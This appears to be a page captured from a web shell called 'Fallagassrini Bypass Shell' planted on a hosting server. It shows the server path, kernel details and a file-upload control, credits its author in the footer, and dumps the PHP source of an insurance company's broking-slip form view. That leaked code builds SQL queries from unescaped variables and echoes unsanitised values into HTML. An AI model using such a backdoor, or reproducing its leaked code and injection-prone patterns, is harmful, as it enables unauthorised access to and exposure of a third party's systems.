? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Documents/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Documents/loadbrokingslip.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<?php
    foreach($viewinfo as $updata)
{
    $cover_id=$updata['cover_id'];
    $header=$updata['template_header'];
    $customer_id=$updata['customer_id'];
    $qdate=$updata['quotation_date'];
    $brokingslip_id=$updata['id'];
    $qrefno=$updata['quotation_ref'];
    $currency=$updata['currencytype'];
    $descriptiontitle=$updata['suminsured_desctitle'];
    $suminsuredtitle=$updata['suminsured_sumtitle'];
    $total_sumtitle=$updata['total_sumtitle'];
    $total_sumtitle_amount=$updata['total_sumtitle_amount'];
   
}
    $qdate=$this->mastermodel->convdatformat($qdate);
  $cr=$this->mastermodel->get_data_srow('covers',$cover_id,'id');
  $type=$this->customermodel->getSingleFieldValue('customers','type','id',$customer_id);
  $currency_type=$this->mastermodel->get_data_srow('country',$currency,'id');
  $currency_typefull=$this->mastermodel->getdatas('country');
            if($type=='Individual')
            {
            $name=$this->customermodel->getSingleFieldValue('customer_personal_ind','insured','customer_id',$customer_id);
	     
            $business='NIL';
            }
            else
            {
             $name=$this->customermodel->getSingleFieldValue('customer_corp_info','insured','customer_id',$customer_id);
             $business=$this->customermodel->getSingleFieldValue('customer_corp_info','business_activity','customer_id',$customer_id);
	      
            }
  
  //$templatetype=$this->mastermodel->get_data_srow('template_type',$templatetype_id,'id');
  $brokingslipform=$this->mastermodel->get_data(' broking_slip_form',$brokingslip_id,'broking_slip_id');
  $israte=$this->mastermodel->get_multi_count("select * from broking_slip_form where broking_slip_id='$brokingslip_id' and fieldtype='rate'");
  $ispremium=$this->mastermodel->get_multi_count("select * from broking_slip_form where broking_slip_id='$brokingslip_id' and fieldtype='premium'");
  $isperiodofinsurance=$this->mastermodel->get_multi_count("select * from broking_slip_form where broking_slip_id='$brokingslip_id' and fieldtype='periodofinsurance'");
  $isbrokerage=$this->mastermodel->get_multi_count("select * from broking_slip_form where broking_slip_id='$brokingslip_id' and fieldtype='brokerage'");
 
   $viewslip_section_insured=$this->mastermodel->get_data('broking_slip_section',$brokingslip_id,'broking_slip_id');
  
?>
	<script type="text/javascript">
        jQuery(document).ready(function () {

	$('.one').datepick({dateFormat: 'dd-mm-yyyy'});
	
       
});

	function showcheckdiv(div)
{ 

  $(".clickimage1").colorbox({width:"47%",height:"40%", inline:true, href:"#"+ div});
}


function usecheckvalue(checkname,textareaid)
{
   
    var checkedval="";
    
    var ckval=document.getElementsByName(checkname);
     for(j=0;j<ckval.length;j++)
    {	
        if(ckval[j].checked)
        { 
          checkedval  = checkedval +ckval[j].value+'~'+'\n';
        }
    }
    
    $("textarea#"+textareaid).val(checkedval.substring(0, checkedval.length-2));
    $.fn.colorbox.close();
}
	</script>
         <script type="text/javascript" src="<?=base_url()?>/assets/js/jquery.textarea-expander.js"></script>




  
    
  
           <li   style="margin-left: 330px; height: 30px;"  >
                <input type="text" name="template_header" value="<?=$header?>" style="width:250px;"/>
                <!--label id="headerlabel" ondblclick="updateheader('headerlabel')"> Header of the template</label-->
        </li>
         <li >
             <div><label>Quotation Ref </label> <input type="text" id="quotation_ref" value ="<?=$qrefno?>" readonly="readonly" name="quotation_ref"  style="margin-right:300px;">
             <label style="width:60px;">Date</label> <input type="text" name="quotationdate" style="background-image: url(../../../../assets/images/datefocus.gif);" class="one" id="quotationdate" value="<?php echo $qdate;?>" readonly></div>
               <input type="hidden" name="cover" id="cover" value="<?=$cr->cover?>">
              <input type="hidden" name="coverid" id="coverid" value="<?=$cover_id?>">
              <input type='hidden' name='cust_id' value="<?=$customer_id?>"/>
               <input type='hidden' name='brokingslipid' value="<?=$brokingslip_id?>"/>
          </li>
         <?php 
         $counterText=1;
        $counterTextArea=1;
        $counterComboBox=1;
        $counterstatic=1;
         $countercheckbox=1;
         $customfield=array();
        foreach($brokingslipform as $tform)
        {   $customfield[]=$tform['fieldtype'];
            switch ($tform['fieldtype'])
            {
               case 'text':
               $idname="mytext".$counterText;

               echo "<li id='$idname'><input type='hidden' id='labelname' name='labelname[]' class='edit' value='$tform[labelname]'><label>$tform[labelname]</label><input type='hidden' name='fieldtype[]' value='text'><input type='text'  style='width:250px;'  value='$tform[value]' name='myInputs$counterText'><input type='hidden' name='textorder[]' value='$counterText'><img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('templateform','$idname')\" /></li>";
               $counterText++;
               break;

               case 'textarea':
               $idname="mytextarea".$counterTextArea;
               echo "<li id='$idname'><input type='hidden' id='labelname' name='labelname[]' class='edit' value='$tform[labelname]'><label>$tform[labelname]</label><input type='hidden' name='fieldtype[]' value='textarea'><textarea class='expand' name='myTextAreas$counterTextArea'>$tform[value]</textarea><input type='hidden' name='areaorder[]' value='$counterTextArea'><img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('templateform','$idname')\" /></li>";
               $counterTextArea++;
               break;

               case 'combobox':
               $idname="mycombo".$counterComboBox;
              // $cmb=$this->mastermodel->get_data('combobox_value',$tform['id'],'template_form_id');

                $namecombo="myComboBox".$counterComboBox."[]";
                
                $namecheck="mycheckbox".$countercheckbox."[]";
                
               echo "<li id='$idname'><input type='hidden' id='labelname' name='labelname[]' class='edit' value='$tform[labelname]'><label>$tform[labelname]</label><input type='hidden' name='fieldtype[]' value='combobox'>";
                    
               
                switch($tform['labelname'])
                {
                         case 'Conditions':
                         echo '<textarea id="txtcondition" name="'.$namecombo.'"  class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'conditioncheckdiv\')"    />';
                         echo "<div style='display:none'><div id='conditioncheckdiv' >";
                         $conditions=$this->mastermodel->get_data('conditions',$cover_id,'cover_id');
                         foreach($conditions as $cnd)
                         {
                            echo "<div><input type='checkbox' name='$namecheck' value='".$cnd['conditions']."'>".$cnd['conditions']."</div>";
                         }
                         
                         echo "<input type='button'  onclick=\"usecheckvalue('$namecheck','txtcondition')\" class='clickimage' value='Use'/></div></div>";
                         break;

                         case 'Special conditions':
                         echo '<textarea id="txtscondition"   name="'.$namecombo.'" class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'sconditioncheckdiv\')"    />';
                         echo "<div style='display:none'><div id='sconditioncheckdiv' >";
                         $spconditions=$this->mastermodel->get_data('specialconditions',$cover_id,'cover_id');
                         foreach($spconditions as $scnd)
                         {
                            echo "<div><input type='checkbox' name='$namecheck' value='".$scnd['specialcondition']."'>".$scnd['specialcondition']."</div>";
                         }
                          echo "<input type='button' onclick=\"usecheckvalue('$namecheck','txtscondition')\"  class='clickimage' value='Use'/></div></div>";
                         break;

                         case 'Extension':
                         echo '<textarea id="txtextension"   name="'.$namecombo.'" class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'extensioncheckdiv\')"    />';
                         echo "<div style='display:none'><div id='extensioncheckdiv' >";
                         $extension=$this->mastermodel->get_data('extension',$cover_id,'cover_id');
                         foreach($extension as $ext)
                         {
                            echo "<div><input type='checkbox' name='$namecheck' value='".$ext['extension']."'>".$ext['extension']."</div>";
                         }
                          echo "<input type='button' onclick=\"usecheckvalue('$namecheck','txtextension')\"  class='clickimage' value='Use'/></div></div>";
                         break;

                         case 'Exclusion':
                         echo '<textarea id="txtexclusion"   name="'.$namecombo.'" class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'exclusioncheckdiv\')"    />';
                         echo "<div style='display:none'><div id='exclusioncheckdiv' >";
                         $exclusion=$this->mastermodel->get_data('exclusion',$cover_id,'cover_id');
                         foreach($exclusion as $excl)
                         {
                            echo "<div><input type='checkbox' name='$namecheck'  value='".$excl['exclusion']."'>".$excl['exclusion']."</div>";
                         }
                          echo "<input type='button'  onclick=\"usecheckvalue('$namecheck','txtexclusion')\" class='clickimage' value='Use'/></div></div>";
                         break;

                         case 'Deductible':
                         echo '<textarea id="txtdeductible"  name="'.$namecombo.'" class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'deductiblecheckdiv\')"    />';
                         echo "<div style='display:none'><div id='deductiblecheckdiv' >";
                         $deductible=$this->mastermodel->get_data('deductible',$cover_id,'cover_id');
                         foreach($deductible as $deduct)
                         {
                            echo "<div><input type='checkbox' name='$namecheck'  value='".$deduct['deductible']."'>".$deduct['deductible']."</div>";
                         }
                          echo "<input type='button'  onclick=\"usecheckvalue('$namecheck','txtdeductible')\" class='clickimage' value='Use'/></div></div>";
                         break;

                         case 'Excess':
                         echo '<textarea id="txtexcess"   name="'.$namecombo.'" class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'excesscheckdiv\')"    />';
                         echo "<div style='display:none'><div id='excesscheckdiv' >";
                         $excess=$this->mastermodel->get_data('excess',$cover_id,'cover_id');
                         foreach($excess as $exc)
                         {
                            echo "<div style='display:block'><input type='checkbox' name='$namecheck'  value='".$exc['excess']."'>".$exc['excess']."</div>";
                         }
                          echo "<input type='button' onclick=\"usecheckvalue('$namecheck','txtexcess')\"  class='clickimage' value='Use'/></div></div>";
                         break;

                         case 'Warranty':
                         echo '<textarea id="txtwarranty"   name="'.$namecombo.'" class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'warrantycheckdiv\')"    />';
                         echo "<div style='display:none'><div id='warrantycheckdiv' >";
                         $warranty=$this->mastermodel->get_data('warranty',$cover_id,'cover_id');
                         foreach($warranty as $wrnt)
                         {
                            echo "<div><input type='checkbox' name='$namecheck'  value='".$wrnt['warranty']."'>".$wrnt['warranty']."</div>";
                         }
                          echo "<input type='button'  onclick=\"usecheckvalue('$namecheck','txtwarranty')\" class='clickimage' value='Use'/></div></div>";
                         break;
                        default:
                        echo "<select id='myComboBox$counterComboBox' MULTIPLE SIZE=3 name='$namecombo'>";
                    $cmb=explode('~',$tform['value']);
                 for($k=0;$k<sizeof(array_filter($cmb));$k++)
                 {
                    echo "<option value='$cmb[$k]'>".$cmb[$k]."</option>";
                 }
                    echo "</select>";
                        
                       

                }
              
               echo "<img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('templateform','$idname')\"/><input type='hidden' name='comboorder[]' value='$counterComboBox'>";
                  
               echo "<input type='hidden' id='combotext$counterComboBox' value='".$tform['value']."' name='combotext$counterComboBox'/>";
                 $counterComboBox++;
                 $countercheckbox++;
                
                 echo "</li><li></li>";
                 
               break;
            
           case 'suminsured':
                 $liidname="mysuminsured";
                echo "<li id='$liidname'><input type='hidden' id='labelname' name='labelname[]' class='edit' value='$tform[labelname]'><label>$tform[labelname]</label>
                <input type='hidden' name='fieldtype[]' value='suminsured'>";



                        $counter=0;

			$seccounter=0;
			$tempcount= sizeof($viewslip_section_insured); //for not displaying total in last section.
			echo "<table border=0>
                 <tbody>
                <tr><th>Section</th><th>Title</th></tr>
                <tr><td>
                         <textarea class='expand' name='section_st' id='section_st' style='width:250px;'></textarea></td><td><textarea class='expand' style='width:250px;' name='section_title_st' id='section_title_st'></textarea></td>
                         <td><input type='button' style='cursor:pointer;'";

                         if($tempcount>0)
                         {
           echo "onclick=\"addeditsection(document.getElementById('section_st').value,document.getElementById('section_title_st').value,document.getElementById('sumcounter').value,document.getElementById('sectioncounter').value)\" ";
                         }
                         else
                         {
           echo "onclick=\"addsection(document.getElementById('section_st').value,document.getElementById('section_title_st').value)\" ";
                         }

           echo "class=\"clickimage\" value=\"Add\"/>
                </td></tr>
                <tr>";

                 echo "<th><input type='text' style='width:250px;' name='desctitle' value='$descriptiontitle'></th>
                 <th><input type='text' style='width:250px;' name='suminsuredtitle' value='$suminsuredtitle'></th><th></th></tr><tr><td>
                             <textarea class='expand' name='description' id='description' style='width:250px;'></textarea></td><td><input type='text' name='amt' id='amt' >
                         <input type='button' id='send' ";
                            if($tempcount>0)
                                 {
                            echo "onclick=\"addeditsuminsured(document.getElementById('description').value,document.getElementById('amt').value,document.getElementById('sumcounter').value,document.getElementById('sectioncounter').value)\"";
                                 }
                                 else
                                 {
                            echo "onclick=\"addsuminsured(document.getElementById('description').value,document.getElementById('amt').value)\"";
                                 }
                            echo "class=\"clickimage\" value=\"Add\"/>

                         <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('templateform','$liidname')\" />
                         </td>

                     </tr><tr>";

                     $cntsum=0;
                     $stotal=0;
		foreach($viewslip_section_insured as $secval)
		{
                    $tempcount--; //for not displaying total in last section.
                    $secid="seccount".$seccounter;

		    echo "
		    <table border='0' id='$secid' style='background-color:#fff;  border:solid 0px; border-color:#ccc;color:#000;' >
		    		    <tr><td><label>&nbsp;</label></td>";




			if($secval['section']!='--')  // for checking the suminsured without sections.
                     {
			echo "<td >

			<textarea id='section'  name='section[]' class='expand'  style='width:250px;' >".$secval['section']."</textarea>
			</td>
			<td >
			<textarea  name='section_title[]' class='expand' style='width:170px;'  >".$secval['section_title']."</textarea>
			<img class='clickimage'  src='".base_url()."/assets/images/x-icon.png' onClick=\"removesecElementedit('".$liidname."','".$secid."','".$seccounter."','".$cntsum."')\"/>
			</td>";
		     }
		     else if($secval['section']=='--')
			     {
				echo "<td><input type='hidden' id='section' name='section[]' value='".$secval['section']."'   >
			</td>
			<td >
			<input type='hidden'  name='section_title[]' value='".$secval['section_title']."'  ></td>";
			     }
		     ?>
                        


		    <?php
                    echo "</tr></table>";
		     $viewslip_sum_insured=$this->mastermodel->get_data('broking_slip_sum_insured',$secval['id'],'section_id');


		      $stotal=0;
		      $seccnt=-1;
		     $mrateamt=0;
		     $srateamt=0;
                     $stotal=$secval['total_suminsured'];
		      foreach($viewslip_sum_insured as $sumval)
                     {
		    $idname="suminsured".$counter;

                     $sid="sumamt".$counter;

		     


                     echo "
		    <table border=0 id='$idname'><tr><td><label>&nbsp;</label></td>
			<td width='155px'>

			     <textarea  name='desc[]' style='width:250px;' class='expand' >".$sumval['description']."</textarea>

			 </td>

			<td >
			<input type='text' style='width:170px;' name='sumamt[]' value='".$sumval['amount']."'  id='$sid' >
			<img class='clickimage'  src='".base_url()."/assets/images/x-icon.png'  onClick=\"removesumElementedit('".$liidname."','".$idname."','".$counter."','".$seccounter."')\"/>
			</td>";


			echo "</tr> ";
                        $counter++;
			$seccnt++;
                        $cntsum++;

                     }





		     echo "</table>";
		echo "<table border=0 id='secref$seccounter'>";
         echo "<tr><td><input type='hidden' name='seccount$seccounter' value='".$seccnt."'  id='seccount$seccounter'></td></tr>";
         echo "<tr><td><input type='hidden' id='cnttxt' value='".$counter."'/>";
         echo "</td></tr></table>";

         $tempsecrec=$seccounter;
         if($tempcount!=0)
         {
            if($stotal!=0)
            {

        echo"
	<table border='0' id='totsec$seccounter' style='background-color:#fff;  border:solid 1px; border-color:#ccc;color:#000;'>
             <tr><td><label>&nbsp;</label> </td>

	       <td width=\"170px\">Total:</td>
	       <td>
		  <input type=\"text\" style='width:170px;' id=\"totamt$seccounter\" name=\"totamt$seccounter\" value='$stotal'>
	        <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('$liidname','totsec$seccounter')\" />
                </td></tr></table><input type='hidden' style='width:50px;' id='sec'  >";
         }

         }

		$seccounter++;
		}
                $lessseccounter=$seccounter-1;
                echo "<input type='hidden' name='sumcounter' value='$counter'  id='sumcounter'> ";
		echo '<input type="hidden" value="'.$seccounter.'" name="sectioncounter" id="sectioncounter"/>';
                echo "<input type='hidden' style='width:50px;' id='sec' value='$lessseccounter'  >";
           echo "<table border=0>
         <div id=\"sumdetid\" >


	 </div>
	</table>";
        if($stotal!=0)
        {

	echo "<table border=0 id='totalamtdiv' style='float:left; '><label>&nbsp;</label>

	<tr><td>&nbsp;</td></tr>
	<tr>
	<td width=\"155px\">Total:</td>
	<td><input type=\"text\"  id=\"totamt\"  value='$stotal'>
         <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('$idname','totalamtdiv')\" />
        </td><td>";

             

        echo "</td></tr></table>";


        }
            if($total_sumtitle!="")
            {

        echo "<table border=0 id='totalsumamtdiv'><label>&nbsp;</label>

	<tr><td>&nbsp;</td></tr>
	<tr>
        <td width=\"155px\"><input type=\"text\" name='totalsumtitle' id=\"totalsumtitle\"  value='$total_sumtitle'></td>
	<td ><input type=\"text\"   name='total_sumtitle_amount' value='$total_sumtitle_amount'>
        <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('$liidname','totalsumamtdiv')\" />
        </td></tr></table>";

            }
	echo "<table border=0 style='float:left;' >
            <tr><td>&nbsp;</td></tr>";

        echo "</table>";

	 echo "</li>
	 <li></li>";
            break;
                         
        case 'insured':
            echo '<li id="insured_txt">
            
            <input type="hidden" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'"><label>'.$tform['labelname'].'</label>
                <input type="hidden" name="fieldtype[]" value="insured">';
           
             $data = array(
              'name'        => 'insured',
              'id'          => 'insured',
              'value'       => $name,
              'style'       =>'width:250px;',
                 'readonly'=>'readonly'
              );

             echo form_input($data).form_error($data);
             
             echo '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span id="insuredInfo" class="red_bold">*</span>
                 
            </li>';
            break;
        
        case 'business':
           echo ' <li id="business_txt">
            <input type="hidden" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'"><label>'.$tform['labelname'].'</label>
                <input type="hidden" name="fieldtype[]" value="business">
            <input type="text" name="business" id="business" value="'.$business.'" style="width:250px;"><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'business_txt\')" /></li>';
            break;
         case 'premium':
           echo ' <li id="premium_txt">
                 <input type="hidden" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'"><label>'.$tform['labelname'].'</label>
                <input type="hidden" name="fieldtype[]" value="premium">';
		echo '<table><tr><td><select name="currencytype" id="currencytype" >';
		if(!empty($currency_type->currencycode))
		echo '<option value="'.$currency_type->id.'" selected >'.$currency_type->currencycode.'</option>';
		else
		echo '<option value="0" selected >Select Currency</option>';
		    foreach ($currency_typefull as $key => $list)
		    {		if($currency_type->currencycode!=$list['currencycode'])
			    {
			    echo "<option value='". $list['id'] . "'>" . $list['currencycode'] . "</option>";
			    }
		    }


		echo '</select></td><td>
            <input type="text" name="premium" id="premium" value="'.$tform['value'].'" style="width:250px;">
	    <img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'premium_txt\')" />
                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span id="currencytypeInfo" class="red_bold">*</span>
	    </td></tr></table></li>';
            break;
	case 'brokerage':
           echo ' <li id="brokerage_txt">
            <input type="hidden" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'"><label>'.$tform['labelname'].'</label>
                <input type="hidden" name="fieldtype[]" value="brokerage">
            <input type="text" name="brokerage" id="brokerage" style="width:250px;" value="'.$tform['value'].'" >%<img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'brokerage_txt\')" /></li>';
            break;
          case 'policyfees':
           echo ' <li id="policyfees_txt">
            <input type="hidden" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'"><label>'.$tform['labelname'].'</label>
                <input type="hidden" name="fieldtype[]" value="policyfees">
            <input type="text" name="policyfees" id="policyfees" style="width:170px;" value="'.$tform['value'].'"><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'policyfees_txt\')" /></li>';
            break;
        case 'periodofinsurance':
             $date=date("Y-m-d");
             $newdate = strtotime ( '365 day' , strtotime ( $date ) ) ;
             $newdate = date ( 'j-m-Y' , $newdate );
           echo ' <li id="periodofinsurance_txt">
            <input type="hidden" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'"><label>'.$tform['labelname'].'</label>
                <input type="hidden" name="fieldtype[]" value="periodofinsurance">
           <table><tr><td><input type="text" name="frmdate" style="background-image: url(../../../../assets/images/datefocus.gif);" class="one" id="frmdate" value="'.date("d-m-Y").'" readonly></td>
	   <td><label style="width:30px;">To</label> </td><td><input type="text" name="todate" style="background-image: url(../../../../assets/images/datefocus.gif);" class="one" id="todate" value="'.$newdate.'" readonly></td><td>
	   
	   <img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'periodofinsurance_txt\')" /></td></tr></table></li><li></li>';
            break;
	
	 case 'rate':
            $ratecount=0;
            echo " <li id='rate_txt'>
               <input type='hidden' id='labelname' name='labelname[]' class='edit' value='$tform[labelname]'><label>$tform[labelname]</label>
                <input type='hidden' name='fieldtype[]' value='rate'>
                <table border=0>
                 <tbody>
                 <tr><td>
                         <textarea class='expand' name='rate_section' id='rate_section' style='width:250px;'></textarea></td><td><input type='text'  name='rate_amount' id='rate_amount'/></td>
                         <td><input type='button' style='cursor:pointer;'  onclick=\"addeditratesection(document.getElementById('rate_section').value,document.getElementById('rate_amount').value,'$ratecount')\"  value=\"Add\"/>
                         <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('templateform','rate_txt')\" />
                </td></tr></table>";

            $rate_section=$this->mastermodel->get_data('broking_slip_rate',$brokingslip_id,'broking_slip_id');



               foreach($rate_section as $ratesection)
                      {
                        echo ' <table border="0" id="ratesumdiv'.$ratecount.'"  >';
                        echo '<tr ><td><label>&nbsp;</label></td>';
                        echo "<td><textarea class='expand' name='ratesection[]' id='ratesection' style='width:250px;'>$ratesection[ratesection]</textarea></td><td><input type='text'   name='rate[]' id='rate' value='$ratesection[rate]'/></textarea>
                         <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('rate_txt','ratesumdiv$ratecount')\" />



                        </td>";


			echo '</tr>';
                         echo '</table>';
                        $ratecount++;
                      }


             echo "<table border=0>
                <div id=\"ratedetid\"  >


                </div>
                </table>";
             echo "<table border=0 style='float:left;' >
            <tr><td>&nbsp;</td></tr></table>
            </li>";
            break;
        
            }

            
        }

      
        
       

        if(!in_array('rate', $customfield))
        {

                $ratecount=0;
            echo " <li id='rate_txt'>
               <input type='hidden' id='labelname' name='labelname[]' class='edit' value='Rate'><label>Rate</label>
                <input type='hidden' name='fieldtype[]' value='rate'>
                <table border=0>
                 <tbody>
                 <tr><td>
                         <textarea class='expand' name='rate_section' id='rate_section' style='width:250px;'></textarea></td><td><input type='text'  name='rate_amount' id='rate_amount'/></td>
                         <td><input type='button' style='cursor:pointer;'  onclick=\"addeditratesection(document.getElementById('rate_section').value,document.getElementById('rate_amount').value,'$ratecount')\"  value=\"Add\"/>
                         <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('templateform','rate_txt')\" />
                </td></tr></table>";

            $rate_section=$this->mastermodel->get_data('broking_slip_rate',$brokingslip_id,'broking_slip_id');



               foreach($rate_section as $ratesection)
                      {
                        echo ' <table border="0" id="ratesumdiv'.$ratecount.'"  >';
                        echo '<tr ><td><label>&nbsp;</label></td>';
                        echo "<td><textarea class='expand' name='ratesection[]' id='ratesection' style='width:250px;'>$ratesection[ratesection]</textarea></td><td><input type='text'   name='rate[]' id='rate' value='$ratesection[rate]'/></textarea>
                         <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('rate_txt','ratesumdiv$ratecount')\" />



                        </td>";


			echo '</tr>';
                         echo '</table>';
                        $ratecount++;
                      }


             echo "<table border=0>
                <div id=\"ratedetid\"  >


                </div>
                </table>";
             echo "<table border=0 style='float:left;' >
            <tr><td>&nbsp;</td></tr></table>
            </li>";
        }
        
         if(!in_array('policyfees', $customfield))
        {

                echo ' <li id="policyfees_txt">
            <input type="hidden" id="labelname" name="labelname[]"  value="Policy Fees"><label>Policy Fees</label>
                <input type="hidden" name="fieldtype[]" value="policyfees">
            <input type="text" name="policyfees" id="policyfees" style="width:170px;" value="0"><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'policyfees_txt\')" /></li>';
          
        }
        if(!in_array('periodofinsurance', $customfield))
        {
            $date=date("Y-m-d");
             $newdate = strtotime ( '365 day' , strtotime ( $date ) ) ;
             $newdate = date ( 'j-m-Y' , $newdate );
           echo ' <li id="periodofinsurance_txt">
            <input type="hidden" id="labelname" name="labelname[]"  value="Period Of Insurance"><label>Period Of Insurance</label>
                <input type="hidden" name="fieldtype[]" value="periodofinsurance">
           <table><tr><td><input type="text" name="frmdate" style="background-image: url(../../../../assets/images/datefocus.gif);" class="one" id="frmdate" value="'.date("d-m-Y").'" readonly></td>
	   <td><label style="width:30px;">To</label> </td><td><input type="text" name="todate" style="background-image: url(../../../../assets/images/datefocus.gif);" class="one" id="todate" value="'.$newdate.'" readonly></td><td>

	   <img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'periodofinsurance_txt\')" /></td></tr></table></li><li></li>';
           
        }
        if(!in_array('premium', $customfield))
        {

               echo ' <li id="premium_txt">
                 <input type="hidden" id="labelname" name="labelname[]"  value="Premium"><label>Premium</label>
                <input type="hidden" name="fieldtype[]" value="premium">';
		echo '<table><tr><td><select name="currencytype" id="currencytype" >';
		if(!empty($currency_type->currencycode))
		echo '<option value="'.$currency_type->id.'" selected >'.$currency_type->currencycode.'</option>';
		else
		echo '<option value="0" selected >Select Currency</option>';
		    foreach ($currency_typefull as $key => $list)
		    {		if($currency_type->currencycode!=$list['currencycode'])
			    {
			    echo "<option value='". $list['id'] . "'>" . $list['currencycode'] . "</option>";
			    }
		    }


		echo '</select></td><td>
            <input type="text" name="premium" id="premium" value="0" style="width:250px;">
	    <img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'premium_txt\')" />
                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span id="currencytypeInfo" class="red_bold">*</span>
	    </td></tr></table></li>';
        }
        if(!in_array('brokerage', $customfield))
        {

               echo ' <li id="brokerage_txt">
            <input type="hidden" id="labelname" name="labelname[]"  value="Brokerage"><label>Brokerage</label>
                <input type="hidden" name="fieldtype[]" value="brokerage">
            <input type="text" name="brokerage" id="brokerage" style="width:250px;" value="0" >%<img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'brokerage_txt\')" /></li>';
          
        }

       
           ?> 
         

         <input type="hidden" name="isnewadded" id="isnewadded" value=""/>

    



    
    

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net